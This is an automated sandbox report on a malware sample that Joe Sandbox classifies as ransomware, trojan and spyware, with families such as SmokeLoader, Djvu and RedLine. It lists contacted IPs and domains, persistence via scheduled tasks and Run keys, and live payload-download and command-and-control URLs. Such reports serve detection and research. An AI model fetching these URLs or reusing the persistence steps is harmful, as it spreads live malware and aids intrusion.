Cloud: safe	unknown
https://www.google.com/https://www.google.com//f/	88149680561784461713924660.38.dr	false		high
https://localstats.org	9EB5.exe, 00000021.00000002.2646072482.000000000E488000.00000004.00001000.00020000.00000000.sdmp, 9EB5.exe, 00000021.00000002.2646072482.000000000E4A0000.00000004.00001000.00020000.00000000.sdmp	true	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://turnitin.com/robot/crawlerinfo.html)cannot	9EB5.exe, 00000021.00000002.2642720211.0000000005120000.00000040.00001000.00020000.00000000.sdmp, 9EB5.exe, 00000021.00000002.2628119160.0000000000400000.00000040.00000001.01000000.0000000F.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	callcustomer.exe, 00000031.00000002.2949652811.0000000002E31000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.reddit.com/	C06.exe, 0000001C.00000003.2412892295.0000000003320000.00000004.00001000.00020000.00000000.sdmp	false		high
http://172.86.98.101/xs12pro/Qdlpaama.wavC	callcustomer.exe, 00000031.00000002.2949652811.0000000002E31000.00000004.00000800.00020000.00000000.sdmp	false	11%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://support.google.com/recaptcha	chromecache_249.46.dr	false		high
https://wns.windows.com/L	explorer.exe, 00000001.00000000.1736687792.000000000C557000.00000004.00000001.00020000.00000000.sdmp	false		high
https://localstats.orghttp://cvwwajk56uu2la7jl4e2fdxy56veg5hqlaondeb7whvy2vlmreq6jnid.onionhttps://l	9EB5.exe, 00000021.00000002.2646072482.000000000E4A0000.00000004.00001000.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://t.me/cahalg#)	build2.exe, 00000023.00000002.2433596886.000000000255D000.00000040.00000020.00020000.00000000.sdmp	false		high
https://stackoverflow.com/q/14436606/23354	callcustomer.exe, 00000031.00000002.2949652811.0000000002EA8000.00000004.00000800.00020000.00000000.sdmp, callcustomer.exe, 00000031.00000002.2958920684.00000000065A0000.00000004.08000000.00040000.00000000.sdmp, callcustomer.exe, 00000031.00000002.2949652811.0000000002E62000.00000004.00000800.00020000.00000000.sdmp, callcustomer.exe, 00000031.00000002.2951334522.00000000040FC000.00000004.00000800.00020000.00000000.sdmp, callcustomer.exe, 00000031.00000002.2949652811.0000000002FF2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earnings	explorer.exe, 00000001.00000000.1727453068.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gHZu	explorer.exe, 00000001.00000000.1727453068.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	false		high
http://79.137.192.18/9bDc8sQ/index.phppRv0	yiueea.exe, 00000011.00000002.4134687572.0000000000B3C000.00000004.00000020.00020000.00000000.sdmp, yiueea.exe, 00000011.00000003.4056210973.0000000000B3C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://49.12.118.151/Data	build2.exe, 00000026.00000002.2723898873.000000000241B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://localstats.orghttp://cvwwajk56uu2la7jl4e2fdxy56veg5hqlaondeb7whvy2vlmreq6jnid.onion	9EB5.exe, 00000021.00000002.2646072482.000000000E4E8000.00000004.00001000.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://www.msn.com/en-us/weather/topstories/us-weather-super-el-nino-to-bring-more-flooding-and-win	explorer.exe, 00000001.00000000.1727453068.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	96764528231374897933662026.38.dr	false		high
https://api.2ip.ua/geo.jsonn	C06.exe, 0000000B.00000002.2276744600.00000000006B8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://79.137.192.18/9bDc8sQ/index.phpv	yiueea.exe, 00000011.00000003.4056210973.0000000000B14000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://api.2ip.ua/geo.json-w	C06.exe, 00000029.00000002.2574078983.00000000008F3000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	96764528231374897933662026.38.dr	false		high
https://www.msn.com/en-us/news/politics/clarence-thomas-in-spotlight-as-supreme-court-delivers-blow-	explorer.exe, 00000001.00000000.1727453068.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
http://https://_bad_pdb_file.pdb	9EB5.exe, 00000021.00000002.2628119160.0000000000ACC000.00000040.00000001.01000000.0000000F.sdmp, 9EB5.exe, 00000021.00000002.2642720211.00000000057EB000.00000040.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
https://developers.google.com/recaptcha/docs/faq#my-computer-or-network-may-be-sending-automated-que	chromecache_249.46.dr	false		high
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMeu	explorer.exe, 00000001.00000000.1727453068.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
http://79.137.192.18/9bDc8sQ/index.phpnT	yiueea.exe, 00000011.00000002.4134687572.0000000000B3C000.00000004.00000020.00020000.00000000.sdmp, yiueea.exe, 00000011.00000003.4056210973.0000000000B3C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://api.2ip.ua/geo.json9	C06.exe, 00000029.00000002.2574078983.00000000008A8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://nsis.sf.net/NSIS_Error	8A61.exe.1.dr	false		high
https://www.rd.com/list/polite-habits-campers-dislike/	explorer.exe, 00000001.00000000.1727453068.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.google.com/feedfetcher.html)HKLM	9EB5.exe, 00000021.00000002.2642720211.0000000005120000.00000040.00001000.00020000.00000000.sdmp, 9EB5.exe, 00000021.00000002.2628119160.0000000000400000.00000040.00000001.01000000.0000000F.sdmp	false		high
https://blockchain.infoindex	9EB5.exe, 00000021.00000002.2628119160.0000000000400000.00000040.00000001.01000000.0000000F.sdmp	false	URL Reputation: safe	unknown
http://79.137.192.18/9bDc8sQ/index.phpWindows	yiueea.exe, 00000011.00000002.4134687572.0000000000AFE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://outlook.com_	explorer.exe, 00000001.00000000.1736687792.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	low
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	88149680561784461713924660.38.dr	false		high
https://localstats.orghttps://localstats.orgRegQueryValueExWhttps://localstats.orgUUIDUUIDPGDSEPGDSE	9EB5.exe, 00000021.00000002.2646072482.000000000E488000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.msn.com/en-us/news/world/agostini-krausz-and-l-huillier-win-physics-nobel-for-looking-at	explorer.exe, 00000001.00000000.1727453068.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/news/us/when-does-daylight-saving-time-end-2023-here-s-when-to-set-your-cl	explorer.exe, 00000001.00000000.1727453068.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.google.com/log?format=json&hasfast=true	chromecache_249.46.dr	false		high
http://www.amazon.com/	C06.exe, 0000001C.00000003.2411845946.0000000003320000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.gstatic.c..?/recaptcha/releases/lLirU0na9roYU3wDDisGJEVT/recaptcha__.	chromecache_249.46.dr	false	URL Reputation: safe	low
http://zexeq.com/files/1/build3.exe$run	C06.exe, 0000001C.00000002.4134884919.000000000079E000.00000004.00000020.00020000.00000000.sdmp, C06.exe, 0000001C.00000002.4134884919.00000000007D6000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://schemas.micro	explorer.exe, 00000001.00000000.1732315314.0000000009B60000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000001.00000000.1728726263.0000000007F40000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000001.00000000.1729334669.0000000008720000.00000002.00000001.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.twitter.com/	C06.exe, 0000001C.00000003.2412983985.0000000003320000.00000004.00001000.00020000.00000000.sdmp	false		high
https://cloud.google.com/contact	chromecache_249.46.dr	false		high
http://www.openssl.org/support/faq.html	C06.exe, 00000032.00000002.2622961191.0000000002340000.00000040.00001000.00020000.00000000.sdmp	false		high
http://www.google.com/https://www.google.com/	88149680561784461713924660.38.dr	false		high
http://https://ns1.kriston.ugns2.chalekin.ugns3.unalelath.ugns4.andromath.ug/Error	C06.exe, 00000008.00000002.2249972858.0000000002320000.00000040.00001000.00020000.00000000.sdmp, C06.exe, 0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, C06.exe, 0000000F.00000002.2302639668.0000000002320000.00000040.00001000.00020000.00000000.sdmp, C06.exe, 00000012.00000002.2324721970.0000000002400000.00000040.00001000.00020000.00000000.sdmp, C06.exe, 0000001C.00000002.4133525331.0000000000400000.00000040.00000400.00020000.00000000.sdmp, C06.exe, 0000001F.00000002.4133230530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, C06.exe, 00000022.00000002.2441220618.00000000023F0000.00000040.00001000.00020000.00000000.sdmp, C06.exe, 00000029.00000002.2555352471.0000000000400000.00000040.00000400.00020000.00000000.sdmp, C06.exe, 00000032.00000002.2622961191.0000000002340000.00000040.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
https://api.2ip.ua/geo.json~	C06.exe, 0000001C.00000002.4134884919.0000000000738000.00000004.00000020.00020000.00000000.sdmp	false		high
http://79.137.192.18/9bDc8sQ/index.phpFTi0	yiueea.exe, 00000011.00000002.4134687572.0000000000B3C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://stackoverflow.com/q/11564914/23354;	callcustomer.exe, 00000031.00000002.2958920684.00000000065A0000.00000004.08000000.00040000.00000000.sdmp, callcustomer.exe, 00000031.00000002.2951334522.00000000040FC000.00000004.00000800.00020000.00000000.sdmp, callcustomer.exe, 00000031.00000002.2949652811.0000000002FF2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.2ip.ua/geo.jsonv	C06.exe, 0000000B.00000002.2276744600.00000000006B8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/lifestyle/travel/i-ve-worked-at-a-campsite-for-5-years-these-are-the-15-mi	explorer.exe, 00000001.00000000.1727453068.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://api.2ip.ua/geo.jsonp	C06.exe, 00000029.00000002.2574078983.00000000008A8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://zexeq.com/files/1/build3.exerun27c	C06.exe, 0000001C.00000002.4134884919.00000000007D6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.google.com/recaptcha/api2/	chromecache_249.46.dr	false		high
https://assets.msn.com/staticsb/statics/latest/traffic/Notification/desktop/svg/RoadHazard.svg	explorer.exe, 00000001.00000000.1727453068.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMeu-dark	explorer.exe, 00000001.00000000.1727453068.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/money/personalfinance/13-states-that-don-t-tax-your-retirement-income/ar-A	explorer.exe, 00000001.00000000.1727453068.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1727453068.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	false		high
http://49.12.118.151/s	build2.exe, 00000026.00000002.2723898873.000000000241B000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://zexeq.com/files/1/build3.exe$runyinstall020921_delay721_sec.exe0	C06.exe, 0000001C.00000002.4134884919.000000000079E000.00000004.00000020.00020000.00000000.sdmp	false	16%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://79.137.192.18/9bDc8sQ/index.phpm32	yiueea.exe, 00000011.00000003.4056210973.0000000000B3C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://us.fontviewer.de/0	treelatest.exe, 0000002B.00000003.2441035847.0000019AB601E000.00000004.00000020.00020000.00000000.sdmp, treelatest.exe, 0000002B.00000003.2440405515.0000019AB7CDF000.00000004.00000020.00020000.00000000.sdmp, callcustomerpro.exe, 0000002D.00000003.2456481473.0000026057319000.00000004.00000020.00020000.00000000.sdmp, callcustomerpro.exe, 0000002D.00000003.2456661068.0000026055695000.00000004.00000020.00020000.00000000.sdmp, calllcustomer.exe.45.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.nytimes.com/	C06.exe, 0000001C.00000003.2412591571.0000000003320000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	96764528231374897933662026.38.dr	false		high
https://t.me/cahalgotrumasimages.zipMozilla/5.0	build2.exe, 00000023.00000002.2434061649.0000000003EE0000.00000040.00001000.00020000.00000000.sdmp, build2.exe, 00000026.00000002.2698187948.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false		high
http://search.msn.com/msnbot.htm)msnbot/1.1	9EB5.exe, 00000021.00000002.2642720211.0000000005120000.00000040.00001000.00020000.00000000.sdmp, 9EB5.exe, 00000021.00000002.2628119160.0000000000400000.00000040.00000001.01000000.0000000F.sdmp	false		high
https://cloud.google.com/recaptcha-enterprise/billing-information	chromecache_249.46.dr	false		high
https://www.msn.com/en-us/news/topic/breast%20cancer%20awareness%20month?ocid=winp1headerevent	explorer.exe, 00000001.00000000.1727453068.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://github.com/mgravell/protobuf-net	callcustomer.exe, 00000031.00000002.2958920684.00000000065A0000.00000004.08000000.00040000.00000000.sdmp, callcustomer.exe, 00000031.00000002.2951334522.00000000040FC000.00000004.00000800.00020000.00000000.sdmp, callcustomer.exe, 00000031.00000002.2949652811.0000000002FF2000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.21.86.8	loveperry.org	United States	13335	CLOUDFLARENETUS	true
142.250.72.238	clients.l.google.com	United States	15169	GOOGLEUS	false
172.217.14.109	accounts.google.com	United States	15169	GOOGLEUS	false
79.137.192.18	unknown	Russian Federation	42569	PSKSET-ASRU	true
34.94.245.237	sumagulituyo.org	United States	15169	GOOGLEUS	false
49.12.118.151	unknown	Germany	24940	HETZNER-ASDE	true
104.21.65.24	api.2ip.ua	United States	13335	CLOUDFLARENETUS	false
149.154.167.99	t.me	United Kingdom	62041	TELEGRAMRU	false
172.86.98.101	unknown	United States	9009	M247GB	false
195.158.3.162	colisumy.com	Uzbekistan	8193	BRM-ASUZ	true
171.22.28.219	unknown	Germany	33657	CMCSUS	true
91.215.85.17	stualialuyastrelia.net	Russian Federation	34665	PINDC-ASRU	true
104.21.21.57	montereyclub.org	United States	13335	CLOUDFLARENETUS	true
34.143.166.163	lightseinsteniki.org	United States	2686	ATGS-MMD-ASUS	true
213.6.54.58	alayyadcare.com	Palestinian Territory Occupied	12975	PALTEL-ASPALTELAutonomousSystemPS	true
115.88.24.200	zexeq.com	Korea Republic of	3786	LGDACOMLGDACOMCorporationKR	true
35.205.61.67	snukerukeutit.org	United States	15169	GOOGLEUS	false
172.217.12.132	unknown	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
148.251.234.93	iplogger.com	Germany	24940	HETZNER-ASDE	false
91.215.85.209	onualituyrs.org	Russian Federation	34665	PINDC-ASRU	true
91.227.16.22	h171008.srv22.test-hf.su	Russian Federation	207027	EXIMIUS-ASRU	true

Private

IP
192.168.2.4

General Information

Joe Sandbox Version:	38.0.0 Ammolite
Analysis ID:	1325302
Start date and time:	2023-10-13 16:04:08 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 15m 6s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	51
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	2
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample file name:	file.exe
Detection:	MAL
Classification:	mal100.rans.troj.spyw.evad.winEXE@97/175@53/23
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 98% Number of executed functions: 86 Number of non-executed functions: 190
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, Conhost.exe, dllhost.exe, BackgroundTransferHost.exe, consent.exe, SIHClient.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 192.229.211.108, 172.217.12.131, 34.104.35.123, 172.217.14.99, 142.250.68.42, 172.217.12.138, 142.250.72.170, 142.250.72.138, 142.251.40.42, 142.250.189.10, 142.250.176.10, 142.250.188.234, 142.250.68.74, 142.250.217.138, 172.217.14.74, 142.250.72.234, 172.217.14.106, 142.250.68.106, 142.250.217.131
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, edgedl.me.gvt1.com, content-autofill.googleapis.com, slscr.update.microsoft.com, login.live.com, clientservices.googleapis.com, umwatson.events.data.microsoft.com, manguvorpmi.pw, www.gstatic.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
15:05:25	Task Scheduler	Run new task: Firefox Default Browser Agent 31775D69F304C81A path: C:\Users\user\AppData\Roaming\vdhbahw
15:06:00	Task Scheduler	Run new task: Time Trigger Task path: C:\Users\user\AppData\Local\977b3593-e014-49e4-a011-771ad84e5ef2\C06.exe s>--Task
15:06:02	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run SysHelper "C:\Users\user\AppData\Local\977b3593-e014-49e4-a011-771ad84e5ef2\C06.exe" --AutoStart
15:06:03	Task Scheduler	Run new task: yiueea.exe path: C:\Users\user\AppData\Local\Temp\577f58beff\yiueea.exe
15:06:11	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run SysHelper "C:\Users\user\AppData\Local\977b3593-e014-49e4-a011-771ad84e5ef2\C06.exe" --AutoStart
15:06:33	Task Scheduler	Run new task: Azure-Update-Task path: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
15:06:36	Task Scheduler	Run new task: Firefox Default Browser Agent F04E8769281A3EFB path: C:\Users\user\AppData\Roaming\rahbahw
16:05:14	API Interceptor	183736x Sleep call for process: explorer.exe modified
16:06:02	API Interceptor	13085x Sleep call for process: yiueea.exe modified
16:06:09	API Interceptor	1x Sleep call for process: C06.exe modified
16:06:18	API Interceptor	6x Sleep call for process: 9EB5.exe modified
16:06:19	API Interceptor	19x Sleep call for process: callcustomer.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.86.8	file.exe	Get hash	malicious	Amadey, Babuk, Clipboard Hijacker, Djvu, Glupteba, RedLine, SmokeLoader	Browse
	file.exe	Get hash	malicious	Amadey, Babuk, Clipboard Hijacker, Djvu, Glupteba, RedLine, SmokeLoader	Browse
	file.exe	Get hash	malicious	Amadey, Babuk, Djvu, Glupteba, RedLine, SmokeLoader, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Babuk, Djvu, RedLine, SmokeLoader	Browse
	file.exe	Get hash	malicious	Amadey, Babuk, Djvu, RedLine, SmokeLoader, Vidar, Xmrig	Browse
	file.exe	Get hash	malicious	Djvu, Glupteba, RedLine, SmokeLoader, Xmrig	Browse
	file.exe	Get hash	malicious	Djvu, Glupteba, RedLine, SmokeLoader, Xmrig	Browse
	file.exe	Get hash	malicious	Djvu, Glupteba, RedLine, SmokeLoader, Xmrig	Browse
	file.exe	Get hash	malicious	Babuk, Djvu, Glupteba, LummaC Stealer, RedLine, SmokeLoader, Vidar	Browse
	file.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, RedLine, SmokeLoader, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Glupteba, RedLine, SmokeLoader, Stealc	Browse
	file.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Glupteba, LummaC Stealer, RedLine, SmokeLoader	Browse
	file.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, RedLine, SmokeLoader, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, RedLine, SmokeLoader, Stealc, Vidar	Browse
	UwvHsxxITi.exe	Get hash	malicious	Backstage Stealer Cookie Stealer RedLine SmokeLoader Vidar	Browse
	gVI2IrBzjJ.exe	Get hash	malicious	Backstage Stealer Cookie Stealer RedLine SmokeLoader Vidar	Browse
	HCRjk1hxOY.exe	Get hash	malicious	Backstage Stealer Raccoon RedLine SmokeLoader Socelars Vidar	Browse
	k5LLH5t4Ff.exe	Get hash	malicious	Backstage Stealer RedLine SmokeLoader Socelars Vidar	Browse
	2oxhsHaX3D.exe	Get hash	malicious	RedLine SmokeLoader Socelars Vidar	Browse
	x86_x64_setup.exe	Get hash	malicious	RedLine SmokeLoader Vidar	Browse
79.137.192.18	file.exe	Get hash	malicious	Amadey, Babuk, Djvu, Glupteba, RedLine, SmokeLoader	Browse	79.137.192.18/9bDc8sQ/index.php
	file.exe	Get hash	malicious	Amadey, Babuk, Djvu, SmokeLoader	Browse	79.137.192.18/9bDc8sQ/index.php
	file.exe	Get hash	malicious	Amadey, Babuk, Djvu, RedLine, SmokeLoader	Browse	79.137.192.18/9bDc8sQ/index.php
	file.exe	Get hash	malicious	Djvu, Fabookie, Glupteba, RedLine, SmokeLoader	Browse	79.137.192.18/mar3.exe
	file.exe	Get hash	malicious	Djvu, Fabookie, Glupteba, RedLine, SmokeLoader	Browse	79.137.192.18/mar3.exe
	ATn9sB7YVJ.exe	Get hash	malicious	Djvu, Fabookie, RedLine, SmokeLoader	Browse	79.137.192.18/mar3.exe
	file.exe	Get hash	malicious	Djvu, Fabookie, Glupteba, RedLine, SmokeLoader	Browse	79.137.192.18/mar3.exe
	file.exe	Get hash	malicious	Djvu, Fabookie, Glupteba, RedLine, SmokeLoader	Browse	79.137.192.18/mar3.exe
	file.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Fabookie, RedLine, SmokeLoader	Browse	79.137.192.18/mar3.exe
	file.exe	Get hash	malicious	Clipboard Hijacker, Djvu, Fabookie, Glupteba, RedLine, SmokeLoader	Browse	79.137.192.18/mar3.exe
	file.exe	Get hash	malicious	Djvu, Fabookie, Glupteba, RedLine, SmokeLoader	Browse	79.137.192.18/mar3.exe
	file.exe	Get hash	malicious	Amadey, Babuk, Clipboard Hijacker, Djvu, RedLine, SmokeLoader	Browse	79.137.192.18/9bDc8sQ/index.php
	file.exe	Get hash	malicious	Amadey, Djvu, DotRunpeX, RedLine, SmokeLoader	Browse	79.137.192.18/9bDc8sQ/index.php
	file.exe	Get hash	malicious	Amadey, Djvu, DotRunpeX, RedLine, SmokeLoader, lgoogLoader	Browse	79.137.192.18/9bDc8sQ/index.php
	file.exe	Get hash	malicious	Amadey, Djvu, DotRunpeX, RedLine, SmokeLoader	Browse	79.137.192.18/9bDc8sQ/index.php
	qAY2af6Lh2.exe	Get hash	malicious	Amadey, Mystic Stealer, RedLine, SmokeLoader	Browse	79.137.192.18/rockas.exe
	CksKX9bxCl.exe	Get hash	malicious	Amadey, Mystic Stealer, RedLine, SmokeLoader	Browse	79.137.192.18/rockas.exe
	hSkGa7OukE.exe	Get hash	malicious	Amadey, Mystic Stealer, RedLine, SmokeLoader	Browse	79.137.192.18/rockas.exe
	mv1gvmTw9k.exe	Get hash	malicious	Amadey, Mystic Stealer, RedLine, SmokeLoader	Browse	79.137.192.18/rockas.exe
	5ub6YPIRK4.exe	Get hash	malicious	Amadey, Mystic Stealer, RedLine, SmokeLoader	Browse	79.137.192.18/rockas.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
lightseinsteniki.org	file.exe	Get hash	malicious	Amadey, Babuk, Djvu, Glupteba, RedLine, SmokeLoader, Vidar	Browse	34.143.166.163
	file.exe	Get hash	malicious	Amadey, Babuk, Djvu, Glupteba, RedLine, SmokeLoader	Browse	34.143.166.163
	file.exe	Get hash	malicious	Amadey, Babuk, Clipboard Hijacker, Djvu, Glupteba, RedLine, SmokeLoader	Browse	35.205.61.67
	file.exe	Get hash	malicious	Amadey, Babuk, Djvu, SmokeLoader	Browse	34.143.166.163
	file.exe	Get hash	malicious	Amadey, Babuk, Clipboard Hijacker, Djvu, Glupteba, RedLine, SmokeLoader	Browse	34.143.166.163
	file.exe	Get hash	malicious	Amadey, Babuk, Djvu, Glupteba, RedLine, SmokeLoader, Vidar	Browse	34.143.166.163
	file.exe	Get hash	malicious	Amadey, Babuk, Djvu, RedLine, SmokeLoader	Browse	35.205.61.67
	file.exe	Get hash	malicious	Amadey, Babuk, Djvu, RedLine, SmokeLoader	Browse	34.143.166.163
	file.exe	Get hash	malicious	Amadey, Babuk, Djvu, Glupteba, RedLine, SmokeLoader, Vidar	Browse	34.143.166.163
	file.exe	Get hash	malicious	Amadey, Babuk, Djvu, Glupteba, RedLine, SmokeLoader, Vidar	Browse	34.143.166.163
	file.exe	Get hash	malicious	Amadey, Babuk, Djvu, RedLine, SmokeLoader	Browse	34.143.166.163
	file.exe	Get hash	malicious	Amadey, Babuk, Djvu, RedLine, SmokeLoader, Vidar, Xmrig	Browse	34.143.166.163
colisumy.com	file.exe	Get hash	malicious	Amadey, Babuk, Djvu, Glupteba, RedLine, SmokeLoader, Vidar	Browse	187.18.108.158
	file.exe	Get hash	malicious	Amadey, Babuk, Clipboard Hijacker, Djvu, Glupteba, RedLine, SmokeLoader	Browse	187.212.189.11
	file.exe	Get hash	malicious	Amadey, Babuk, Djvu, SmokeLoader	Browse	187.209.177.209
	file.exe	Get hash	malicious	Amadey, Babuk, Clipboard Hijacker, Djvu, Glupteba, RedLine, SmokeLoader	Browse	187.212.189.11
	file.exe	Get hash	malicious	Amadey, Babuk, Djvu, Glupteba, RedLine, SmokeLoader, Vidar	Browse	189.169.83.249
	file.exe	Get hash	malicious	Amadey, Babuk, Djvu, RedLine, SmokeLoader	Browse	187.204.6.164
	file.exe	Get hash	malicious	Amadey, Babuk, Djvu, Glupteba, RedLine, SmokeLoader, Vidar	Browse	185.12.79.25
	file.exe	Get hash	malicious	Amadey, Babuk, Djvu, Glupteba, RedLine, SmokeLoader, Vidar	Browse	175.126.109.15
	wgdE3POxOg.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, RedLine, SmokeLoader, Vidar	Browse	211.181.24.132
	file.exe	Get hash	malicious	Amadey, Babuk, Djvu, RedLine, SmokeLoader, Vidar, Xmrig	Browse	185.12.79.25
	ioMJg2xHZQ.exe	Get hash	malicious	Babuk, Djvu, RedLine, SmokeLoader	Browse	175.120.254.9
	file.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Glupteba, RedLine, SmokeLoader, Vidar	Browse	186.50.155.198
	file.exe	Get hash	malicious	Babuk, Djvu, Glupteba, RedLine, SmokeLoader	Browse	200.92.136.254
	file.exe	Get hash	malicious	Babuk, Djvu, Glupteba, LummaC Stealer, RedLine, SmokeLoader, Vidar	Browse	190.141.134.150
	file.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, RedLine, SmokeLoader, Stealc, Vidar	Browse	210.182.29.70
	file.exe	Get hash	malicious	Babuk, Djvu, RedLine, SmokeLoader, Stealc, Vidar	Browse	123.213.233.131
	file.exe	Get hash	malicious	Babuk, Djvu, RedLine, SmokeLoader, Stealc, Vidar, Xmrig	Browse	180.94.156.61
	file.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, RedLine, SmokeLoader, Stealc, Vidar	Browse	175.126.109.15
	file.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Glupteba, RedLine, SmokeLoader, Stealc	Browse	187.134.80.172
	file.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, RedLine, SmokeLoader, Stealc, Vidar	Browse	95.158.162.200

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
PSKSET-ASRU	file.exe	Get hash	malicious	Amadey, Babuk, Djvu, Glupteba, RedLine, SmokeLoader, Vidar	Browse	79.137.192.18
